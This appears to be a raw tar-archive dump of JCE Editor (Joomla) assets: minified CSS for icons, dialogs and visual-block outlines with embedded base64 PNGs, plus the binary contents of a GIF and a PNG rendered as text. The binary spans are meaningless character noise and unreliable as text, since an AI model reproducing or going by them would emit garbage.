span.mce_spellchecker{background-position:-540px -20px;}.classicSkin span.mce_autosave{background-position:-20px -40px;}.classicSkin span.mce_readmore{background-position:-920px 0;}.classicSkin span.mce_pagebreak{background-position:-940px 0;}.classicSkin span.mce_imgmanager{background-position:-380px 0;}.classicSkin span.mce_article{background-position:-920px 0;width:40px;}.classicSkin span.mce_textcase{background-position:-40px -40px;}.classicSkin span.mce_visualblocks{background-position:-160px -40px;}.classicSkin span.mce_kitchensink{background-position:-180px -40px;}editor/tiny_mce/themes/advanced/img/icons.gif000060400000027272150751770420015267 0ustar00GIF89a�<�g��)�>�7z14Kd��W����֓��3f��Ѷ���;8,���|lO�Ϩ•!B����c^��_�����G���`����݆��z��	9�>c�QQROR��<8���Su����f�f����z�ܕ��įY��K�
����ܱQ��؊O5�G�CS��K����攈w�����nSt�kW@��ⱽҎ��Sg�������Ď�q������Rs������pn��E�y#��W�����g��%4O�����q�Ӯ�wY���opq1Q�ذ������qI����������u��f�Ur[������z�O��㏚�a��f��f�Y]f<��bq���̙�ke���������J����y��̩}��c����ȏ�۾���!�,�<�����������������������������������������-kk���D�����
������������������ȝk�ͯ\����Ҷ����ێ6ܒ5���""�������m����-�
����
��0����4iP ����q\�%2"Bϖ�f.nɸ��� uyy�˽��H�$�
Bm�}Ҡ�`B=�Dh�ɓ���zN��G?!�裂d1��#��鰆����_����ˁ=V�	��k(��ȝKwn�B&Qދ�H]���7��B9,D�q�9+6�q� ����#S�� A�dä��G��)��������@&L�Ud����5�PY���ݏ��$;5�(L�4���&�x�kߎaP`� �<�R6�ԁ�Æ�Gb$�c�5���QE4�?��v��l�Ą�;$X�h��1�����Cc��@�AX�≠��[���,f��]�ad'�J�8 ����$ԝ!��\w��u��LH ��L6�d$\��UY„�8�%"�e�e�cۗ���&��A�'�1����"+
��=�
R�I-���	��ߜ�젇&d1�Y� 
�e�3B`�p��Ŏ�8�����I�Jꖅ�����>��zJ^"��J�
��AD6�7W��H|��Q�)�i��<�&�Wz݃k�EDB���'���0�x��
T����p!gA���3������^)R��{�8�2�h��0��r��(d�0�&J����� ���A�$D9�k,��!b(�!#p���)����d"Y2�<3Q&Lg^��x��Q� (0)!�V�<����t�^L�(����ܛ�h�oE�	�����LjF5��Ǎvl��w���R�I�Z�W6��@��{����@�%�9m��R�����|�D�L�h0�hx`E��%���@��P�)��
[��J\����+H^?O��'�N�o�`p��w#�/J[��ze��͟�:�DDD#�L�O~ؠ��F�2�/����.	~���Z����B��5�6�h��a4B�:�H�!�T%�9p���x���j�Ú�>����6K�&(0���E@P�,�
�(@P�)B��>��T�ت��c�P�D �̉����Ʒ�ie���t@�2Nq�P3����d��qb$�!1 ��R��|�t�7aq>*���
���K�L0"�6'd�D`��m�\
�X����v ���A|1 pQn��h	oj��<��`%�C	��0Cp�ܩ�_������0}��ub}p	���a
?`Dȉ�	"=��R��%}ʜ�7�%p*@+0�!ر7:��HA��2
�h5���Fy[t��p�P+��'��,�Q<��� �WV��r�Cʐ�!q�aB�F�MEbHɛb�p�	�� !�#>T�ؕz��+\���"Ԩп�DhΑ�li�V�%~³A^�����L!9�)Φ�*�N	a"�ʋ��nx�*}H��vx�MRH,*�A�@�- ��(�R������@v@2�2/�0Ȧ9KC,�a	�0�P�|�%0�Ӆ�9���E&0[�Fb梙���M!�hցtpj� �`U*	�U%qg�\������Unr��A��A����0;���A�����"j�C@����� `�%�D�
xh~Z
&8`<����8�����޶��tv ���`�4Q��تtć19�P\H�!�k��r_&]��+W������l��Z�UT�Q�jT�`U��?�!oZf�Jƪ)ZǠVE`��ȘXS�:	cp"| ��'S&���L6��(s�G(������*&�F���P����d���j�ЈV4_������y%���<}�6��j
���Pb.���0�x�0ɭ!�jW›z�����s�����u�q��0�>0+x-��T����P'=x
<H�<��t�;L��=�P$�����|—��@�M�
�a�a��xy6�D8�'�@nt�ڥ�ty��e��t�0�������5�'�cia�LJ`��J�9�>�jߎ�h��Z�k)��wm A�1�֊�����Jz�ꦓ�͝�	� 
��a{�Pb-�
j5F$�A��;84����2CF�´m��
b]PP	�C��}�$�A�I��;��F����TWW�/�oa�[:�0�+ր��.}��D���a�{�!�����z��lm�hC�!��}*�7D鮾�-`��Ls���v׷���� ��%ΜW|=L$0l�
��00x��,8`�L Û1!�Tasx��!��#1��"����Q9��<�"((T�b�s}'�&�k�@80,�RT�;��M�F5�1��$M�
�Tz/S�7��	(t2�VO�t��o����qY��	���RE	`��ˆRu��g�`�%	�\�%�V�U?`�6w;�h*��Dž~�Sf�z��04��i���G�F� [����U���{�[�z�Az��,�G~���T]Ɩl�5G0c&��-�G4��V���"VPI�P��9��6_U#}L�X&��%�Ճֲ1m�%��o	[�H��\�F�#Us�*02��qSHX&YT�S�o(!o#�	60�Euv�TvD^FFHltBfs/VUD �p%7XK��ÂvDPAvd�.(v�\�^2dh0p	0py�W�hG0�F�z�}�5I��`��0C5~@v����PJ.�$\�v�Ԓp��&`^�/̠�crPx&�c�d��M�0d�@Qד������ZJɔ�C]�H	��'�*�T��l�w	.s4�c]��u��U9AL�!�$	�aTA"6|����(vi��6)SW�5f!i�n���y�7�9�̀�e`�� �,�u��i �)p~/0=v�<�|P�R�wP���gpq{���Wb��R"H2�,��Pvԍ�皾��FuTY�"i�B 47U&�dD�*�U�h��Qt�at=6�zCt�itk�/�>�P��9�|���b��"����$�H��8	SП� �� ��������v-ْT`x�U�h'A�1ٓ��`:,x��sR���D�v�#����H	{�+0��I5�������V
8��Sb	4�=���y���	�}�En�g-!zw��ۅ�Iާyv�}��	[0=fp%/�f�m�	��p���)�������6pT|��wT�v�(,���@GɖUi9G���b�1�k����8�9���[ڥ��w�GJ���@.)٪���אi@:�3h�	�6{P�`���s7	0��r0���A}����!:�Қ�"
m�j�y�}04�6��	k�kfiD�xM3��X��H�9��@q�]���-c�] 	@���U��	�kS5d`S�:��&L��W����Z��r�J�����-@��f3�P8:�OѱʉSF���U��͢H�*��f �OG��@
�v0p]�V�zZ���FK�p��
	�`d� U����P7P�zt7	���Z�f�fp�Y�i�l��:9�q��m붵*�s�J:	�7�

hk	���R�Ж���������:3<S���6�W7��	<�A��О�鞡�Q����s�Q������>`����9��X���KdI;���
Lk.PZK��������+��з�_ԛ�
��\P�=�+|H�P�G_Y�+û�a
ǻ��н1�;�������ۿ�����0�G�	�۴������L�-��;�������� �"<�$\����&��,,�[0�-<��6|�<�4,
(|0����(�$�D��H�	?�}@X06p<�[yI�IpT2@�H�L�E0ƺ��`�c\��OPl��m<oLs,�q�-P
\P2�@�Ȁ!�Ll����
< ������,��,�ɜ�ɉ��<���L�c����U��p��p�?�� 
n�5P�n@B�(El3������pg�	��s� Y
�Ό(���M��QLS�Kz8p���E�IP��L�G��)����H�`� �,5��������)�%�ƠP����Cp�C�X�>�`���}l�zPl|�u�]��pѢ��w,}��%���U@|�0�D�Dž��r�9��d ,`L���
�L����+����OmS�L`���(!T�s@z��'> 0���,ȅ�Ӈ�c��� �υ@𳔫[`���7P�%��@%����z�}�N]�%)�*pQ�����ؚm��%��ND�@n�7��0҂[��Ap���&`�$۴�(���g�0�3�Z��б����4��M�7x(W
���!�����0�����lO�H�],X�0p�|``�	�,	l�W@�`�Y<8�ń`�ە�E�?0�r�;��X"�����d\���	��}�y�r��
M��a�G��Uw��\���5�R��`�~�,]U�A��0�U�v�\np=�L���+�Gp�⹂u0��,,� �Tn]P���z���5)!��̆`օl�fM�f��^���O ׄ@�%:ʳpo�诂��5�%@��`��]B��FP�]
����ϒ���tߓ��~���C��]ڧ�چ-���=۵���ח�$V���(1(1HYp�^��(���0�>����EX�$��
����M���5K�@�n�Q�X���q�lTS�ޘ���k��P|��`CJ@�I
P�~�p������\i0.E0E`9��4sς��FPQ���� �t>	��Ѯ*n�����@@Ӄ��Ѣ�,/#��G�0�%��U ��k@1/�n7p5P��j=/�0p�JIԁ���]�W/�`�P��q]p�V#�������Fb�2dNGo�<��O?���P_��v�5v��>z�׈~�fH#����(�2A�ʜ�ő��QP~�2��N;e�7��%��>��̠ڒr0��ۦ^��e��F���]�(���~�~��)W���DQq�����ݎ���0��:`��}�n�b�8��%5��Q�:`TJU@��O@~P�6��~�	TL#���*WI�

���W*��"		$z�[["�"i@@&�))E�� 
 �����O~Y�YHLHEE
3��\?�п<m?͂~��~��Cuu''0GG*U݂����������]@�������̡K���@x���&���N֬�p-�X,����T�Ά�A��ҢE>��3�&�,iҌ`��C%HLt���G�_&001Q��NJ�H@�A
�4�€��^�IЌ
n~����Zͼx)�� �h�DQ��C�q� ��?�l9�l��6�)�`�KP\3��+��ĸ�c�*�������J��ࠆ�#@�'H��yqX��6��6m�qs���ɛѓC=&Bxg�0@^)��6�O><�6�ǓJi���#�x�l�
o=�h�6R���쵇#�0_}�U��q4��r�6�Q�yf(~5��Q<p�\�Diހ��!�V�؍l}�� ��#�q�w�!�y�U„L����hpa%U0�M�p�D�!#��F�_&�CTB	�l���!�/�8Ѕ���,�բ����)bD��<�9 �yJ��@D�D��Ĥ����|3N@D`�5�����ȳw��T]r�
����:�ބ#j9���LD0Ư�QE_����78��p!R���qD�b��u��D�Y����$TQEصMQQBH̰�`�I7�"@O�"��@�eQ�V]!�W%f̥�]&x�şz��a���Y�X%%�	RUAF�%,���1���	��h��FnQT�G
b�q����AnF`{Ϧ
�$��9PG-5*��d%W_ǃW"hg�]�a�<v�a��c���}2��_
A��@�fq�� ���#a3l�MՄ��@�7�x��
�X	��@��"|�y�[��l5LA:D�	輁?�bB��$S�H�P�\z)$�рGT^Sn�
r%�W��\N���ʓ���P�B&� �'n�SJ&�R�0H( G��@<4j~�!O-��oVB�/k�k��#"�>"`
j�:�D@�h���9թ0�x��Q����D�)X/ \�0��
���Z�
,�����D ",�2\E#�jֳH�FJ@���DY���� � �B�P�B�_|�X����$�vP����q��@ L�pMfY���"��5�^�<h�4���5��AV�R�!,�K`W3�0�J"FZ�YS��I#a��x��f�@��IP9�<����4�8��Rv
7h���7��9����2�5�iH02���Mmzk
+c�J�l�g�[<Њh"�o���PT�3B�h����G�|���?�;YU�>����t����������hHG���l!<�CC��НŲ�:xU�,q���X�^����ɬ�F`.8�I�H:���
qA������N�y� ~A�8�ad C�S$���C�=0d��%�	U�, ��
0O��д�,��Kj�x�J`��8�@Ҭ�ଈxk\Qة<㮕�`=��A1����<�QN1�D��+����z�
#�W�^���F;Zt��Xr��G�����YΪ�zx��:��ŀ���~`��HB� �
h��!���_��&`"���0�(��� (Ѿ�f;o���B@z�v����V2/� �CE*f�R��C*�f��y�k�`�h��h2����@�0�|�Pe
0Ѕ7������aDp�9NK�/��˳��B�Ƅ���}q�6ff��Y'Wxsh����H>�Q�7�#��3�I:��
��9h|�Cb���!�|��b���%>�+O��3��s:O+��t����A4�~y�@7g�� 'E��*Q6�2��N���蔧�i�Z�Cp`ԑC�`�}�	[О)�>c7ͨ�! �'�O�ҭ݌��e<m�[`}$԰�[(�[H�f�����o5[�
4���n�~18��޶��m#xx�G�@����h���W�6����rA�	{��Z �CX��X�����(�:<@?\"	8��^�+,(
�A�� t \B�bp�B2����|m�@W�%����S�8�����cz�-0�a���╅Jl!cC$�%��ka	Np��@e)cBEE0h�p�5@��؃�ڞ�*�0'�]Yn�o�bz��g	< u�H��v�׍��]śg~#8��\��a�/Ȫ���p64��
�����<�^d���'4�nP]ˀ�g>Au@�S٫��<��1��Os�;����#B8�O�����>�]�<�����|�g�Vp46����"�>�"�0�]AyW�~:	�!�rH��ڄ��N�{�3LPS��4_)�ـk�
�m����
f��qrw�
�6`*���Sgm!8�$.xm)w��*�IT�)7��7KFp�y��#X�'x&�V	@؂/���-���p.�X�Z�C��GtW�`��[�qy��`� 5���'E�B���E@L��vE�& m�4��r���:'0i��n�^�E = Qm�^ �`�H Mw�7�1hPN�a{I�u���20P��`j�mF�n[�t=�����Fy�����5È�����t��X���BBsB�!܈ވ��}�a���y�GyH`y�`�����[�>��0�zH���i�d@�*@��{X�z� f[fO��`&f���3�B-�g��g\��P£��H�Asg��m`@	�jpg����Ħ".�~��zW3]����<a�#��sdt?P(� �W6���Mp����jEp)E`y�'}�6
d@k]�~pF�m`h���x��~�`U��pSD��}����;�m��4(T@\��x�����9��)|闀)�v���Й�yE�I�y
²
qo�u
, d�U�3?3`"Ѕ!�WP��qm	qh��G� N�q�r�T��`�0NL �g���m�P$�@�2��Jv|��n!G͐�C7a
�
��^��
��p��`_�Ŋ��8�u4��$I���Iװm<�$&�b��� �@w"@w����0�:�ʓ�*„�Gg��ย-Z/9�����@�^����M=f'��J�&���;: ,E�AO��W�d�wV�Na��t{9�Xڥ�$P��E��{��	��PeP�$�!�dJ�גOPOn�h�%��
?�h%Z8~�!*p�7&��G�P	\P�p*`D�FEj	�@�R�
�D�C��`��f0(�SK�3K%Fm�à���	�f����~gbؖ���mθz0@[���m���J��:��J�D�����Kh��,N�D�p�QW?�W6p��W����[���)SP".|�r�dω�2T�'��w*D;�?�+���Z�`	��x0q �l�^�|�u
Z t���d����tÀ��H7�H�SNT�X	W��
v�!f	&#F:
�'�X����2'�E{�@{B+D;��wu!)��Y;����%��p{�
��L:��Dy)�j9�xJ�"@�n��]��G�2��YN�5ehŐꧥp	5��ّ\ے"9M�����}��R���+~A�wO����U����S����\�:������T�VA�]��?d��[�Q�
`�n[�??�kФg�0P=qOӊ�X����F������;4$�%A�ˤM��X	�z&�k�Q�P���8
�B.�>��uE��:Ѕ �a�-�[��?9:����2��0E&��D�|x�T`f�;$m�U:pp0�L��<�
+G(�
E0t�;�PI$+1��)�����zh��=�Y@�!֋��`�;J�H�[q���`�pP���O�����Qױ�[�!`���
�
Y���[�{�'����)@)m+?R<�T�����)��O0)��]�{xS��
dJ�`�c�C�	�z	Dq�g	[P@C�����W��U�Ƞ���\���X�O�����:�x�$s����|
ɑ��+�����tY�8̻���x�|��0:�2�5a?pe�;��<������쭈�/�����I�Ec ]cyB:@��y<0��)e��w��T�‹1`��u�9��A��,�1�8����m=�$=�)4��_<��l*��T�˫��j�x���c��.���!(@ ���a�����>�!;�D]�C=k4�J�}0�`*Д�1
��>ˏg�K��\��rE�����d�"}�R]ֆ��Ġ֕�Ip�p�֎\ȅ� �!xM��}5��t؂=؄]�>=�����،�؎�ْؐ=ٔ]ٖ}٘�ٚ�ٜ�ٞ�٠ڢ=ڤ]ڦ}ڨ�ڪ�ڬ�ڮ�ڰ۲=۴]۶}۸�ۺ�ۼ���G%ȿ`K�ĭ�]���]��ʽܽ��=��]��}ݟ;r���rU`P�
q�0��]�*]����u���}
���
���*�����>�J��-܈:&�P��qJ�l"�Bj�]ߊ*'���@}��n3���̂/f�,�.��9�A`�^�6~�8�㭭���SP\��Y��ކ]�n
������>�A�0p�U�Q�`��)��,�9���h��j��ln�.��`�R��<��f�Ձ�&��|���fVn��RupN`.�x``��}B��B B�g�g��~ꨞ�n�)a����s����\/�����@�o�,V^��ľ�r�=�.'5��W�>�a��
�ݥ��ھ�������E���	uq`L��p�%�ĭ�j�&ۼ;�`�}l2ҩ�ڐ�Q�5�=BA����R`�Q�`���ﶘ������ �"?�]�P�	�(��(��'o�r�
�|�b �>>0���R�p`�ĝ�n-��N���-�K�嵱
N��W0�&D@O�OO�^��`��j@�C��
�7�yB� ��>��
��].��\�|�Ha6�A�C@�N������+��/�1>�b������֯��.aˌrU��r,-i#��	PG�-N�H��]_�0�$�����W������d���ȟ��_5o�]q�z'��oy�
%0` ������
{o�~���E��Tfp&\0�0��>;�
�;���~�B9���������������������������������������U����U�"<@�@&�&Pm�]��l��\��\��γ��5f		f"vR5��ֳf��;�iӴ���������������k�h�qd'W/;��I*f Ο8lؘ�Ǭ�ŋ~�2���`���3�y���6h�xH@��4Y;�ғѺc.\p D!C��
J��ѣH�*]�V@Y���#��'%�`�eIl�1A�)�qk���W��%e1anL�>�֙uǴ�߿�L��R�f|,F�6g&0���%a
����-�.j;��ڵ��ٱ#۞
m�@����9r��b�����NܟS�QC
�,ь�ī������k0�����Eܻ_���w^_Ͼ�����˟?4�x.}*T�Ͽ���(�h�&��;editor/tiny_mce/plugins/inlinepopups/css/dialog.css000060400000002036150751770430016616 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
@import url('../../../../libraries/jquery/css/jquery-ui.css');.ui-jce{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;}.ui-jce .ui-dialog .ui-dialog-content{padding:0!important;}.ui-jce .ui-dialog.loading .ui-dialog-content{background:#FFF url('../../../themes/advanced/skins/default/img/progress.gif') no-repeat center 45%;}.ui-dialog-title{min-height:16px;}.ui-dialog-confirm .ui-dialog-content,.ui-dialog-alert .ui-dialog-content{font-size:1em!important;margin:10px;padding:10px!important;overflow:auto;white-space:normal;position:relative;background:none!important;}.ui-icon-confirm,.ui-icon-alert{margin:0 7px 20px 0;float:left;}.ui-icon-confirm{background-position:-16px -144px;}.ui-dialog-blocker{position:fixed;left:0;top:0;background:url(../../../themes/advanced/img/spacer.gif) no-repeat 0 -75px;width:100%;height:100%;}editor/tiny_mce/plugins/media/img/iframe.png000060400000001061150751770430015131 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�IDATxڔS�k"Q�޺\4Z(��F�Z���DB�\#�יJ�Xئ�S�X\ }����MX���#o&��I�0˷3o�7��{O4�?q�m6���nǨ���Z���Z����kb��/��G�~H~��҆i.�D��q�m�Z�T*��fPeP�4E8����DN�O���/�,��۶��r��0���J���ߜC�"��x~�#	y�����v���`0`�x�6�\j���,�����t:�*e��v��l6��hċ���R	�~_*� �z����π��b��X�1��pr"��l�D�*���X,\��ݸ�i_Ⱦ����o��nt�O�Ng'_�u
D�QL&V�O��gĚ��w�t:͕�K&��ʹ\��}>��i��.�Jդ�H��?�!$�j�Q	U��(
�r��f��(o�*���o����HH���y�{F�|y`�l`@pB��IEND�B`�editor/tiny_mce/plugins/visualblocks/css/visualblocks.css000060400000027107150751770430020042 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
p,h1,h2,h3,h4,h5,h6,aside,div,section,article,blockquote,address,pre,figure,ul,ol,dl,dt,dd{display:block;padding:10px 2px 2px;margin:2px 0;border:1px dashed #BBB;background:transparent no-repeat 2px 2px;box-sizing:border-box;}section,article,address,aside,figure{margin:0 0 1em 2px;}figcaption{border:1px dashed #BBB;}dd,dt{margin-bottom:2px;}ul,ol{margin:0 0 1em 3px;padding:5px 40px;}p{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAICAYAAAA1BOUGAAAAcklEQVQIW2NkwAMYp02bpsTMzBwBVfP9////OzMyMq6B+IwzZszwYGRk3A5kLwFKcAFpPyDfOz09fReypABQ4CNQ8SGg5CUgOwcuCdTVAhTkBurMBLJjgUavQZZcA5R4D5TYw8TEtB6o8zeGsciOxysJAFsxQAl0kP1+AAAAAElFTkSuQmCC);}h1{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAn0lEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJIHOmT5/uAJR/lpaWdotxxowZQYyMjGuBilmBiv8AFRcDFRf+/fvXEqgoACjXCtRTmp6ePhOuGCgpxM7O/gcIcoGKs5iYmAKBdCRQYQqGYmSnAxU9BTpDBiQGtOkBkGpHMRlooiQLC8sfkKlAyTS8itHdTLFiADnnggmtlhjwAAAAAElFTkSuQmCC);}h2{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAxklEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJ06dP1wHKqQP5e9LT0z8yzpgxI4iRkXEtUDErUPEfoOJioGQhUCwWSG8HWnwEiM2BfCu44r9//wqxs7P/AYJcoKIsoIIJQCwEtKEKaOBeIPs0XDGy04GKnwIVyYDEgE4xBJp6HMiMgisGmijJwsLyB2pqGkgx0EQvoMJVQIXdQDc34nNzMMhjQMXFTExM24D0N5yKgaaBFKQiOW8ZANzXfMFoX2hjAAAAAElFTkSuQmCC);}h3{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAA0klEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJs2fPNv73758SUH5vSkrKO8YZM2YEMTIyrgUqZgUq/gNUXAxUXMjExJQFpBcCLT4AxB5ATSpwxX///hViZ2f/AwS5QEUgheVAQ0BgJZD9HCQGV4zsdKDEU6AzZIC28APFTwCx2O/fv9XgioEmSrKwsPwBmQCUTAMpXrVqFfO7d++cQM4EipfhdDNQwR6ggv9AOg1InQQasA6fB8OAirYCFbEC6XOsrKwRAOOmljhcqZgbAAAAAElFTkSuQmCC);}h4{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAyklEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJIHOmT5+uA5RXT0tLW8s4Y8aMIEZGxrVAxaxAxX+AiouBiguBimUWLVrE/f3796tAPTLp6ekscMV///4VYmdn/wMEuUDFWSDFQI2dQIXiQByDohjZ6UDFT4F8N6CN84C4HMjfi6IYaKIkCwvLH5CpQIVpQHwKqPAFkP8ByC4Ha8blZqDCKUAFakDF4kC2J8gfeD0Ictrs2bNt//37tx/kDACOBoVLK6NafgAAAABJRU5ErkJggg==);}h5{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAzUlEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//fzNGRsa5QGwPM+v3799XGGfMmBEEFFwLVMwKVPwHqLgYqLgQKBYMVLgTyD4D1dAHV/z3718hdnb2P0CQC1SQxcTEVAKkQ/79+9cgLCx8PSws7C9cMbLTgYqeAvlTgaY3AtmvgDQjULMNXDHQREkWFpY/IFOBCtOA8lZAU/levnx5TVJS8jRQbBNONwMlO4GYB6ipB0ifBeJZ+BR7AxVuBCoSANp2FGhzHABkp4I5tATACgAAAABJRU5ErkJggg==);}h6{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAA1ElEQVQYV2NkIAEwTps2TZ2ZmTn4+fPnHQ0NDf9mzpxp/v//f7OMjIzJ06dPV2BkZLQB8o9kZmY+YJwxY0YQUGAtUDErUPEfoOJioGQhUMwFaOkpID4JxJZAMQe44r9//wqxs7P/AYJcoEQWUPFiIK0OFM9nYWFh+/fv32e4YmSnAxU9BfLPADXYQsXfAzV5wxUDTZQEmvAHZCpQQRoQ7wVi8fT0dE+g0w4ANZ7A6WagwjaggkCgXzwlJCR2A9l7cCpmY2Mz/P3790GgJjmgbWeBimMB+k+ITOBqwKMAAAAASUVORK5CYII=);}aside{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAICAYAAAAIloRgAAABy0lEQVQoU72STyjDYRjHvftz2bKTHBzEDmo7MP+ymhy2yBHJOPhTVtvawUk5EVJuHGT/yoEDsVJOU0SxXdAuXBwUDlNCK5my3+bzrk1LOPrV0/O83+f7PN/ned+fKPvHTxS1wuGwPZvNWtVqdcDlcj1LPBAItAghegk/yEW8Xu8lvGbiDrfbvRQKhepyuVx/occH/hz8CE4tnKHSPehz/CUWDAYTJC0U+zwezyoFJkVREpCWwKrI9WUymRqtVjvIeRZOBTU94LvYGlYNboc/TxzH9rEtOagUJbeTF2MDM6SrQrKa6Wxg42BzTGij8S3nUbaOU9T5XQx+vg/ik7g58gPU7jFcuc/ney1uWCQtAMgmE5BiCBj1ev1jOp0+Azdh1+S2dTrdItjYb2IM5KD+gPoRlUq1XnqNYE2CQsFENyTuIUZlI/xMMplcNJvNIpVKWSB2k5dTT2PKH2JD1PrhOxGLYg2c36SowWC4k0LtxCc0iJBQCpuo8cvYFO/WxfU9EF/A2YTz9F2MpkYEKuGEyN3CWZFvBtaGz4vxvQhW95O0cu+NEin8lYcUtcpNyDnwKs4x4kFi5w8/iCx9x055p2GNRlMvxUqvkXjjEw+cEnw4b1DwAAAAAElFTkSuQmCC);}div{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAICAYAAAAm06XyAAABFklEQVQYV2NkoAAwzpo1S+3///8hUDN+A+kz6enp+2fPnm38798/OyC7f8aMGeFMTEyMaWlpK0DqgHwPIF+KcebMmQFA/nogngfEckCDnBgZGZuB7NdAdmNGRoYIUE0ZkF324sULsYaGhn9AzeeAavbBNQNtYASZClRYCqSagLgSqKEGpHn69OkKQJvuA7El0DUPgXJPgZrNMTQDTXUGSuwBKqgDas4HaYY69SSQ3gE04CHQgGqguDI2zZFAzdOBCmqAdANMM9BFxUDN4UD8CGjoLaB4FVwz0EQloAYxoOQsoORDoMadMD9DvSMHpO8B8Q+guDVQ80XkAAOp+QHER/78+RPLwsISjKwZ6vRjQFoIqFEDxAcAMaOZk9AfGJkAAAAASUVORK5CYII=);}section{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACcAAAAICAYAAAB6WebWAAACoklEQVQ4T82TXUiTYRTHeza3xsLBLGh5EVpXDvqyMNCbQLJBdWHgSkqD9t2oi0VRN2Uj6ANRGOnmZCL2nd4FiXZTF0UpEmJFBBVKxAhGE2obc2q/MzYRQa974fCcj/855/+c57xq3X/8KeEWiUT2KaUaUecWFhaGfD7fh97e3kr05uXcwbx0u91vFhcXVTQaPUisHn0qHo8/tFgsbuJlK/DfiG/xeDyd4u/p6dFh21BtnK/S6fSzQCCQplcVvRpLSkr6HQ7Hz4J9SIkyPz//nsKdJJSTeCyXy1XodLq96CPIYyEtxYkPZrPZUb1e/w58OfYw7sPIKPYPTgvShHxEPiEJMC1er3dTKBRazzeOz4wMIUeIiW9nJpNp0Gg0T7AfgD0VDoft1OtWTM2BEoR5HYFp7NNarVamUyHkIFrq9/v/FCfCxM4Qi4GpcDqd0xSqId+XSqXOyhSYTpx4O7Xa0f3o14UcuJMQuI9sc7lc3yFr4pIJ6l4BM4O/Dz3NeZSeW/PkBgYGNjBeuVEV8gXgU6PReAtfXWFySy/FBapJbgbTRMPK5U9Y1Fcjhz9YmOJSHr635E1R90WejFLXsFvAyRp0qba2No3ValWzs7O7Ack+XESuIp+FHGR2kZSS5iaTaSaZTB4nOWw2m8vsdns2FouVshY78I2zW3NrkDtPidvIRnAp2VvBUruPvrJW3ewuq2uZBPMVqRWAE+UyDRp4qjj6BImPAMutRkjcz5knx/fbYDD8Ze9+gQmC7yd+E307k6wVwGrkWBcr4UnqdnDhDvJase9gH6D3ZiEnzw/Ohj5MzYSSReXtB3HUA9bgfI1+Ar165bNi3+PWrRC4hH4Dkb9vDDnHHz62FjmJyd5R+wKyp/AyXdS7W/wBhFyhxnNq1vwDH/+1i8DXALoAAAAASUVORK5CYII=);}article{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACUAAAAICAYAAAB+rDbrAAACP0lEQVQ4T82TXUhTYRjHOxstEDacdJEniKZdVBCVUAp5EYoSdOOFjoK8icFmhxYMXTeBUxRhLIJdnLMPxsRAqgVCEFYQBBFRF3oRdZegXWwE5Y2zXPvw94xzRMR53eDP8/U+/+f/Pu+Zcug//CmWpnQ63VOtVrvsdnvC5/P91nW9Df+GVa/VavlKpZIjd0tRlJbddyFeod7q9/sfSR5fSaVSfbi9+F8KhcK8qqqn8Afz+Xw0EomU5RwzPcy8uYfr3Y6oZDK5TPECjVogENATicQ1hi0Sz2Fr1PrBd/ARHAND4Cv4Bn5xbpi+o/F4/IjD4fhEj0pukdp18Ib4GXahWCw2hUKhPyKEmcL5GjwB/8wL5eqiEHCWJhkgxRPc+IolyiIhvk/tAYOdJmGBoTHiGOQa/oSIYkO38TNs9CQbXzUM4zLcIyLQZrM93U9UuVx2apq2YW2sLgrSaUwfjfcg+MBK27CnZVPkc+bhq9gYgqMHiYIrCs8QAj3WEPP8wAGb2jnK7A5F3h+iFbI/EPFKbowdxy6ZzzdG7TAYAS8ZJlYu0mhTw/Qabre7xev1ljKZjJNv8RwtreSf77cpNnieWZvC63K51kRQN/57aaBQwT8D7MSjImrX8z0k348oGdBQVDabbS6VSj/pn+QJZ7n5DH47XLLhBfxL4K9wkPOAF5zpJKyL4reu8K0YFLp4louSMf+Fb3HvAN0ShfgwZGEGHg8Gg1uNNmUKDmOnZMP0fAZ32YYqoszBlhnFie3JPd4GG2OKfBdh16UAAAAASUVORK5CYII=);}blockquote{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD0AAAAICAYAAABK1ff3AAADbklEQVQ4T+WU20uUURTFnWs4qIxjRIpQJvSWdqEi6aELmZXQixckm8DUmUGawEoxezAJIlEhL4waSphIlHbTDHuQJKS0hxLLeggyKbQixzKdnEbrt2U+GWS+v6ADi3P2Xvvsfda5aUL+w6ZpbGyMR3emaP9L02g0fTabbbCpqWkjZtrExERFWVmZT9kb4g34U7BT6Ps9Hk9XYWGhxz9fw7wDjPfDjUxOTrZHR0fHSX4lT0NDQxo1xFcP/jA+uLi4eEir1faZzeaujIwMr1J7fn6+yul0zmMnEbPNbrfXqtUnr51clsAzxH7JOras8D3REHwY8iFECzD4xXTi62V8d3Z21qSIq